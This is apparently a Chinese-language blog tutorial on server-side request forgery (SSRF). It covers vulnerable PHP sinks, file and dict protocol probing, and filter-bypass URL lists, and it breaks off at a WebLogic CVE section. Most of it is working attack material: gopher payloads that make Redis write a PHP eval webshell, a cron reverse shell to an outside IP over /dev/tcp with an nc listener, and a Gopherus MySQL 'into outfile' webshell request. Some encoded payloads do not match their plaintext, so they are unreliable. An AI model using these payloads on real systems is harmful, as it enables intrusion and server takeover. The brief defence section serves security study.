总字符数: 30.05K

代码: 19.97K, 文本: 4.18K

预计阅读时间: 1.75 小时

ssrf 漏洞简介

SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造特殊形成的请求,并且由指定服务器端发起恶意请求的一个安全漏洞. 由于业务运行的服务器处于内外网边界,并且可通过利用当前的这台服务器,根据所在的网络访问到与外部网络隔离的内网应用,所以一般情况下,SSRF漏洞的攻击目标是攻击者无法直接访问的内网系统.

SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能而没有对目标地址做过滤和限制. 例如,黑客操控服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等,利用的就是服务端请求伪造,SSRF漏洞可以利用存在缺陷的WEB应用作为代理.攻击远程和本地的服务器.

SSRF的危害

  • 扫描内网(主机、端口)
  • 向内部任意主机的任意端口发送精心构造的payload
  • 攻击内网的Web应用
  • 读取任意文件

ssrf 漏洞常见功能点(漏洞常见出没的位置)

  1. 社交分享功能

    获取超链接的标题等内容进行显示

  2. 转码服务

    通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

  3. 在线翻译

    给网址翻译对应网页的内容

  4. 图片加载/下载

    例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片

  5. 图片/文章收藏功能

    主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

  6. 云服务厂商

    它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

  7. 网站采集,网站抓取的地方

    一些网站会针对你输入的url进行一些信息采集工作

  8. 数据库内置功能

    数据库的比如mongodb的copyDatabase函数

  9. 邮件系统

    比如接收邮件服务器地址

  10. 编码处理、属性信息处理,文件处理

    比如ffpmg,ImageMagick,docx,pdf,xml处理器等

  11. 未公开的api实现以及其他扩展调用URL的功能

可以利用google语法加上这些关键字去寻找SSRF漏洞.一些的url中的关键字有

share wap url link
src source target 3g
u display sourceURl imageURL
domain
  1. 从远程服务器请求资源

ssrf 常见函数

file_get_contents

1
2
3
4
5
<?php
$url = $_GET['url'];
# file_get_contents()函数是用来将文件的内容读入到一个字符串中的首选方法.
echo file_get_contents($url);
?>

fsockopen

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$host=$_GET['url'];
# fsockopen() 函数打开一个网络连接或者一个Unix套接字连接
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)
\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>

curl_exec()

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
if (isset($_GET['url'])){
$link = $_GET['url'];
# curl_exec()执行一个 curl 会话
$curlobj = curl_init(); // 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
echo $result;
}
?>

SoapClient()

1
2
3
4
5
6
7
8
9
// ssrf.php
<?php
# SoapClient() 类为SOAP 1.1,SOAP 1.2服务器提供客户端.它可以在 WSDL 或非 WSDL 模式下使用.
$a = new SoapClient(null,array('uri'=>'http://47.xxx.xxx.72:2333', 'location'=>'http://47.xxx.xxx.72:2333/aaa'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

SSRF漏洞的验证

  1. 因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器发送的,从而来判断是否存在SSRF漏洞.

  2. 在页面源码中查找访问的资源地址 ,如果该资源地址类型为www.baidu.com/xxx.php?image=地址的就可能存在SSRF漏洞

ssrf漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
<?php
# ssrf测试代码
error_reporting(0);
highlight_file(__FILE__);
$url=$_GET['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

http/https协议

当前应用获取用户传递过来的url参数后端发送请求,并且将最终的请求结果返回到html前端页面.

1
2
http://192.168.64.149/ssrf.php?url=http://www.baidu.com
http://192.168.64.149/ssrf.php?url=https://www.baidu.com

但这里需要注意的一点是,当前网站页面返回的内容并非是从当前用户pc端浏览器发送的,而是,服务器端接收到客户端传递过来的url参数,然后在后端服务器代码中通过构造请求发送,最终将结果返回到前端,如果在这里用户传递的是一个内网应用的ip,当前返回的结果:

ssrf漏洞服务器所在的内网大小,互通的网段,限制了当前能够获取到资源的数量.
如果当前服务器端对请求资源的协议做了限制,那么可以通过https协议进行绕过.

7.2 file协议

如果服务器端对请求资源所使用的协议方式没有进行限制,那么就可以通过file协议访问当前服务器的本地文件

1
2
http://192.168.11.135/ssrf.php
url=file:///etc/passwd

7.3 dict协议

通过dict 协议可以远程访问一个指定的tcp 端口,并且会返回端口所提供的服务的部分组件信息
当目标端口开放(有服务信息显示,但会报错):

1
2
3
4
5
http://192.168.64.138/post.php
# post
url=dict://127.0.0.1:6379
# get
http://192.168.64.138/post.php?url=dict://127.0.0.1:6379

当目标端口关闭(无其他回显):

1
2
3
http://192.168.64.138/post.php
# post
url=dict://127.0.0.1:6379

通过差异的对比,可确认内网端口开放情况

思考:实际干活时,ssrf漏洞该怎么利用来探测内网网段、开放端口及端口服务?

gopher 协议

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议.当然现在 Gopher 协议已经慢慢淡出历史.
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用.利用此协议可以攻击内网的FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求.这无疑极大拓宽了 SSRF 的攻击面.
利用gopher协议getshell
使用ssrf漏洞结合gopher协议攻击内网redis

写一句话木马

使用ssrf漏洞将gopher攻击语句传递到内网redis主机

Redis: 是一个key-value型数据库,信息以键对应值的关系储存在内存中,而它算不上是一个真正的数据库,因为 redis 是主要把信息数据存储在内存中(当然也可以把其存储在硬盘上,这也是写shell的必要条件之一).Redis将数据主要保存在内存中,我们可以随时执行save命令将当前的redis数据保存到硬盘上.另外redis也会根据配置自动存储数据到硬盘上,这不得不说到redis的 持久化运作方案,其中说到的一个RDB,一个AOF.RDB更像一个数据库备份文件,而AOF是一个log日志文件.我们可以设置让redis再指定时间、指定更改次数时进行备份,生成RDB文件;而设置AOF,可以在操作或时间过程后将”日志”写入一个文件的最末,当操作越来越多,则AOF文件越来越大.二者是相辅相成的,通过二者的配合我们能够稳定地持久地将数据存储于服务器上.

  1. 先构造攻击语句
    1
    2
    3
    4
    5
    _flushall
    set x "\n\n\n<?php eval($_POST['redis']);?>\n\n\n"
    config set dir /var/www/html
    config set dbfilename shell.php
    save

命令分析:

命令行 释义
_flushall 清除数据库中的所有数据和keys
set x "\n\n\n<?php eval($_POST['redis']);?>\n\n\n" 将变量x的值设置为PHP脚本,该脚本执行了POST请求中redis参数的内容
config set dir /var/www/html 设置数据库文件存储目录为/var/www/html
config set dbfilename shell.php 设置数据库备份文件名为shell.php
save 执行保存操作,将数据持久化到磁盘文件中
  1. 一次URL编码
    BURP编码,_不需要编码
1
%73%65%74%20%78%20%22%5c%6e%5c%6e%5c%6e%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%72%65%64%69%73%27%5d%29%3b%3f%3e%5c%6e%5c%6e%5c%6e%22%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%72%65%64%69%73%2e%70%68%70%0a%73%61%76%65
  1. 将编码中的%0a 换行替换成%0d%0a 回车换行 (因为CRLF)

    在 SSRF 攻击中,攻击者通常会构造一个用于访问 Redis 的 URL.Redis 使用一种简单的文本协议进行通信,其中行结束符被定义为 \r\n)Carriage Return + Line Feed).

    某些防护系统或安全设备会检测并过滤请求中的特殊字符,包括换行符)\n).通过将 %0a)URL 编码表示的换行符)替换为 %0d%0a)URL 编码表示的回车符和换行符),可以绕过这样的安全检查.

    这种替换之所以有效,是因为在处理 HTTP 请求时,服务器通常会解码 URL 并进行规范化,将 %0d%0a 转换为换行符 \r\n.因此,通过使用 %0d%0a,攻击者可以欺骗服务器认为请求是合法的、无害的请求,从而成功触发对 Redis 数据库的访问.

1
%73%65%74%20%78%20%22%5c%6e%5c%6e%5c%6e%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%72%65%64%69%73%27%5d%29%3b%3f%3e%5c%6e%5c%6e%5c%6e%22%0d%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%72%65%64%69%73%2e%70%68%70%0d%0d%0a%73%61%76%65
  1. 二次URL编码(因为url会对其解码一次,curl再解码一次)

    1
    %25%37%33%25%36%35%25%37%34%25%32%30%25%37%38%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%32%37%25%37%32%25%36%35%25%36%34%25%36%39%25%37%33%25%32%37%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%64%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%30%64%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%35%25%36%34%25%36%39%25%37%33%25%32%65%25%37%30%25%36%38%25%37%30%25%30%64%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35
  2. 构造Payload,执行利用

    1
    2
    3
    # Post 

    url=gopher://127.0.0.1:6379/_%25%37%33%25%36%35%25%37%34%25%32%30%25%37%38%25%37%38%25%37%38%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%66%25%36%32%25%36%39%25%36%65%25%32%66%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%33%34%25%33%33%25%32%65%25%33%31%25%33%33%25%33%38%25%32%65%25%33%37%25%33%37%25%32%65%25%33%32%25%33%35%25%33%32%25%32%66%25%33%36%25%33%36%25%33%36%25%33%36%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%33%25%37%30%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%37%34%25%36%31%25%36%32%25%37%33%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35

反弹Shell

通过计划任务写反弹shell
必须对/var/spool/cron有写权限

环境搭建
1
2
3
4
5
6
7
8
9
10
11
12
13
# 安装php+nginx环境
# 下载安装redis
cd /opt
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
# 解压
tar zxvf redis-2.8.17.tar.gz
# 进入到redis目录
cd redis-2.8.17
make
# 然后进入到src文件夹
cd src/
# **必须用root权限启动!!!!**
nohup ./redis-server &
1
2
3
4
5
6
7
8
9
10
11
12
# 创建一个网站,将以下php代码放入到根目录中
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
漏洞复现
  1. 先构造攻击语句

    1
    2
    3
    4
    _set xxx "\n\n*/1 * * * * bash -i>& /dev/tcp/107.173.198.230/6666 0>&1\n\n"
    config set dir /var/spool/cron
    config set dbfilename root
    save
  2. 一次URL编码
    BURP编码,_不需要编码

    1
    %73%65%74%20%78%78%78%20%22%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%3e%26%20%2f%64%65%76%2f%74%63%70%2f%77%77%77%2e%6a%69%61%6e%67%6a%69%79%75%65%2e%63%6f%6d%2f%70%6f%72%74%20%30%3e%26%31%5c%6e%5c%6e%22%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%20%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%72%6f%6f%74%0a%73%61%76%65
  3. 将编码中的%0a 换行替换成%0d%0a 回车换行

    1
    %73%65%74%20%78%78%78%20%22%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%3e%26%20%2f%64%65%76%2f%74%63%70%2f%77%77%77%2e%6a%69%61%6e%67%6a%69%79%75%65%2e%63%6f%6d%2f%70%6f%72%74%20%30%3e%26%31%5c%6e%5c%6e%22%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%20%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%72%6f%6f%74%0d%0a%73%61%76%65
  4. 二次URL编码

    1
    %25%37%33%25%36%35%25%37%34%25%32%30%25%37%38%25%37%38%25%37%38%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%37%37%25%37%37%25%37%37%25%32%65%25%36%61%25%36%39%25%36%31%25%36%65%25%36%37%25%36%61%25%36%39%25%37%39%25%37%35%25%36%35%25%32%65%25%36%33%25%36%66%25%36%64%25%32%66%25%37%30%25%36%66%25%37%32%25%37%34%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%33%25%37%30%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%32%30%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35
  5. 构造Payload,执行利用

    1
    2
    3
    # Post 

    url=gopher://127.0.0.1:6379/_%25%37%33%25%36%35%25%37%34%25%32%30%25%37%38%25%37%38%25%37%38%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%37%37%25%37%37%25%37%37%25%32%65%25%36%61%25%36%39%25%36%31%25%36%65%25%36%37%25%36%61%25%36%39%25%37%39%25%37%35%25%36%35%25%32%65%25%36%33%25%36%66%25%36%64%25%32%66%25%37%30%25%36%66%25%37%32%25%37%34%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%33%25%37%30%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%32%30%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35
  6. VPS监听

    1
    nc -lvvp 6666

防御

  1. 禁用不需要的协议(如:file:///、gopher://,dict://等),仅仅允许http和https请求
  2. 统一错误信息,防止根据错误信息判断端口状态
  3. 禁止302跳转,或每次跳转,都检查新的Host是否是内网IP,直到抵达最后的网址
  4. 设置URL白名单或者限制内网IP

Bypass绕过

在线生成payload:https://tools.intigriti.io/redirector/

绕过本地主机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
## Localhost

http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://0
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪

## CDIR bypass

http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

## Decimal bypass

http://2130706433/ = http://127.0.0.1
http://017700000001 = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

## Hexadecimal bypass

127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20

# Domain FUZZ bypass (from https://github.com/0x221b/Wordlists/blob/master/Attacks/SSRF/Whitelist-bypass.txt)

http://{domain}@127.0.0.1
http://127.0.0.1#{domain}
http://{domain}.127.0.0.1
http://127.0.0.1/{domain}
http://127.0.0.1/?d={domain}
https://{domain}@127.0.0.1
https://127.0.0.1#{domain}
https://{domain}.127.0.0.1
https://127.0.0.1/{domain}
https://127.0.0.1/?d={domain}
http://{domain}@localhost
http://localhost#{domain}
http://{domain}.localhost
http://localhost/{domain}
http://localhost/?d={domain}
http://127.0.0.1%00{domain}
http://127.0.0.1?{domain}
http://127.0.0.1///{domain}
https://127.0.0.1%00{domain}
https://127.0.0.1%0A{domain}
https://127.0.0.1?{domain}
https://127.0.0.1///{domain}

反斜杠技巧

1
2
url=https://attacker.com\@victim.com/
url=https://attacker.com\anything@victim.com/

其他绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Malformed URLs and rare addresses

localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1

# Tricks

http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3
filter_var() php function: 0://evil.com:80;http://google.com:80/

# Weakparser

http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/

SSRF靶场通关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Bypass_302
购买一个域名,写一个flag.php
<?php
header("Location:http://127.0.0.1/flag.php");

url=http://域名/flag.php

# bypass_host
url=http://0/flag.php


# bypass_dns

购买一个域名,修改自己域名的a记录,改成127.0.0.1
url=http://域名/flag.php

# bypass_@
url=http://192.@0/flag.php#138

SSRF+Mysql Getshell

前提是无密码的Mysql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root㉿kill3r)-[/opt/TOP10/SSRF/Gopherus]
└─# python2 gopherus.py --exploit mysql


________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/

author: $_SpyD3r_$

For making it work username should not be password protected!!!

Give MySQL username: root
Give query to execute: select 0x3c3f706870206576616c28245f504f53545b315d293b203f3e into outfile '/www/wwwroot/192.168.64.138/sh.php';

Your gopher link is ready to do SSRF :

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%6f%00%00%00%03%73%65%6c%65%63%74%20%30%78%33%63%33%66%37%30%36%38%37%30%32%30%36%35%37%36%36%31%36%63%32%38%32%34%35%66%35%30%34%66%35%33%35%34%35%62%33%31%35%64%32%39%33%62%32%30%33%66%33%65%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%77%77%77%2f%77%77%77%72%6f%6f%74%2f%31%39%32%2e%31%36%38%2e%36%34%2e%31%33%38%2f%73%68%2e%70%68%70%27%3b%01%00%00%00%01


_后还需要一层 url 编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /mysql/check.php HTTP/1.1
Host: 192.168.64.138
Content-Length: 2623
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.64.138
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.64.138/mysql/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

u=admin&returl=gopher://127.0.0.1:3306/_%25%61%33%25%30%30%25%30%30%25%30%31%25%38%35%25%61%36%25%66%66%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31%25%32%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%30%25%30%30%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%35%66%25%36%65%25%36%31%25%37%34%25%36%39%25%37%36%25%36%35%25%35%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%30%30%25%36%36%25%30%33%25%35%66%25%36%66%25%37%33%25%30%35%25%34%63%25%36%39%25%36%65%25%37%35%25%37%38%25%30%63%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%38%25%36%63%25%36%39%25%36%32%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%30%34%25%35%66%25%37%30%25%36%39%25%36%34%25%30%35%25%33%32%25%33%37%25%33%32%25%33%35%25%33%35%25%30%66%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%30%36%25%33%35%25%32%65%25%33%37%25%32%65%25%33%32%25%33%32%25%30%39%25%35%66%25%37%30%25%36%63%25%36%31%25%37%34%25%36%36%25%36%66%25%37%32%25%36%64%25%30%36%25%37%38%25%33%38%25%33%36%25%35%66%25%33%36%25%33%34%25%30%63%25%37%30%25%37%32%25%36%66%25%36%37%25%37%32%25%36%31%25%36%64%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%35%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%36%66%25%30%30%25%30%30%25%30%30%25%30%33%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%30%25%37%38%25%33%33%25%36%33%25%33%33%25%36%36%25%33%37%25%33%30%25%33%36%25%33%38%25%33%37%25%33%30%25%33%32%25%33%30%25%33%36%25%33%35%25%33%37%25%33%36%25%33%36%25%33%31%25%33%36%25%36%33%25%33%32%25%33%38%25%33%32%25%33%34%25%33%35%25%36%36%25%33%35%25%33%30%25%33%34%25%36%36%25%33%35%25%33%33%25%33%35%25%33%34%25%33%35%25%36%32%25%33%33%25%33%31%25%33%35%25%36%34%25%33%32%25%33%39%25%33%33%25%36%32%25%33%32%25%33%30%25%33%33%25%36%36%25%33%33%25%36%35%25%32%30%25%36%39%25%36%65%25%37%34%25%36%66%25%32%30%25%36%66%25%37%35%25%37%34%25%36%36%25%36%39%25%36%63%25%36%35%25%32%30%25%32%37%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%37%37%25%37%37%25%37%37%25%37%32%25%36%66%25%36%66%25%37%34%25%32%66%25%33%31%25%33%39%25%33%32%25%32%65%25%33%31%25%33%36%25%33%38%25%32%65%25%33%36%25%33%34%25%32%65%25%33%31%25%33%33%25%33%38%25%32%66%25%37%33%25%36%38%25%32%65%25%37%30%25%36%38%25%37%30%25%32%37%25%33%62%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31

WebLogic-ssrf(CVE-2014-4210)

漏洞概述

Oracle WebLogic Server是美国甲骨文)Oracle)公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理.

Oracle Fusion Middleware 10.0.2.0和10.3.6.0版本的 Oracle WebLogic Server 组件中的 WLS - Web Services 子组件存在安全漏洞.远程攻击者可利用该漏洞读取数据,影响数据的保密性.

类型 描述
漏洞名称 Oracle WebLogic Server SSRF漏洞
威胁类型 SSRF
威胁等级
漏洞ID CVE-2014-4210
受影响系统及应用版本 weblogic 10.0.2 – 10.3.6

服务端请求伪造(Server-Side Request Forgery),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统.
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制.比如从指定URL地址获取网页文本内容、加载指定地址的图片、文档等等

漏洞复现

SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有发现在这个请求是合法的,然后服务器以他的身份来访问其他服务器的资源.

